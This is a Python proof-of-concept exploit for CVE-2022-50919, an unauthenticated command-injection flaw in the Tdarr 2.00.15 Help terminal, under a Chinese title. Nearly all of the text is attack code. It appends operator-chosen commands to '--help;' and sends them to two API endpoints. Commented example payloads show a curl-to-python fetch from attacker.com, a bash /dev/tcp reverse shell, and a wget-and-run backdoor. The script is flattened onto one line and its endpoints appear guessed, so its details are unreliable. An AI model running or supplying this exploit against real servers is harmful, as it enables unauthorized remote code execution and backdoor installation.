CVE-2022-50919 Tdarr Help终端未授权远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2022-50919 - Tdarr Unauthenticated RCE PoC Target: Tdarr 2.00.15 Help Terminal Severity: Critical (CVSS 9.8) Usage: python3 cve-2022-50919.py <target_ip> <target_port> """ import requests import sys import argparse def exploit(target_ip, target_port=8265): """ Exploit CVE-2022-50919 by injecting commands through Help terminal """ base_url = f"http://{target_ip}:{target_port}" # Prepare malicious payload - chain commands using semicolon # This payload executes a reverse shell to attacker controlled server cmd = input("Enter command to execute: ") payload = f"--help; {cmd}" # Alternative payload examples: # payload = "--help; curl http://attacker.com/shell.py | python3" # payload = "--help; bash -i >& /dev/tcp/attacker_ip/port 0>&1" # payload = "--help; wget http://attacker.com/backdoor -O /tmp/back && chmod +x /tmp/back && /tmp/back" try: # Method 1: Direct API request params = {'command': payload} response = requests.get(f"{base_url}/api/v1/help", params=params, timeout=10) print(f"[*] Request sent to {base_url}/api/v1/help") print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") # Method 2: Alternative endpoint headers = {'Content-Type': 'application/json'} data = {'cmd': payload} response2 = requests.post(f"{base_url}/api/v1/terminal", json=data, headers=headers, timeout=10) print(f"[*] Alternative endpoint response: {response2.text[:500]}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False return True def main(): parser = argparse.ArgumentParser(description='CVE-2022-50919 Tdarr RCE Exploit') parser.add_argument('target_ip', help='Target Tdarr server IP address') parser.add_argument('target_port', type=int, default=8265, help='Target port (default: 8265)') args = parser.parse_args() print("="*60) print("CVE-2022-50919 - Tdarr Unauthenticated RCE") print("="*60) exploit(args.target_ip, args.target_port) if __name__ == "__main__": main()